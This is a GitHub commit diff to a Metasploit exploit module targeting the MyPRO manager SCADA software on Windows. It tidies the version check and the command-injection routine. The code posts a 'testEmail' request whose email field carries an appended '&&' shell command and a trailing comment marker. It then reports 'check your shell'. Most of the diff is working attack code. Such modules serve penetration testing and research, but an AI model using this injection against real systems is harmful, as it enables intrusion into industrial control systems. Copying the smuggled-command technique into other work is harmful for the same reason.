Skip to content

Commit 21b3315

Browse files
committed
updated
updated
1 parent 37c148c commit 21b3315

File tree

1 file changed

+8
-10
lines changed

1 file changed

+8
-10
lines changed

modules/exploits/windows/scada/mypro_mgr_cmd.rb

Lines changed: 8 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -69,15 +69,13 @@ def check
6969
if res.to_s =~ /const v="([^"]+)"/
7070
version = ::Regexp.last_match(1)
7171
vprint_status('Version retrieved: ' + version)
72-
7372
if Rex::Version.new(version) <= Rex::Version.new('1.2')
7473
return CheckCode::Appears
75-
else
76-
return CheckCode::Safe
7774
end
78-
else
79-
return CheckCode::Unknown
75+
76+
return CheckCode::Safe
8077
end
78+
return CheckCode::Unknown
8179
end
8280

8381
def exploit
@@ -92,20 +90,20 @@ def execute_command(cmd)
9290
def exec_mypro_mgr(cmd)
9391
post_data = {
9492
'command' => 'testEmail',
95-
'email' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com&&#{cmd}"
93+
'email' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com&&#{cmd} #"
9694
}
9795

98-
post_json = JSON.generate(post_data)
99-
10096
res = send_request_cgi({
10197
'method' => 'POST',
10298
'ctype' => 'application/json',
103-
'data' => post_json,
99+
'data' => JSON.generate(post_data),
104100
'uri' => normalize_uri(target_uri.path, 'get')
105101
})
106102

107-
if res && res.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned. Depending on the payload, we might not get a response at all due to a timeout.
103+
if res&.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned. Depending on the payload, we might not get a response at all due to a timeout.
108104
print_good('Command successfully executed, check your shell.')
105+
else
106+
print_error('Unexpected or no reply received.')
109107
end
110108
end
111109

0 commit comments

Comments
 (0)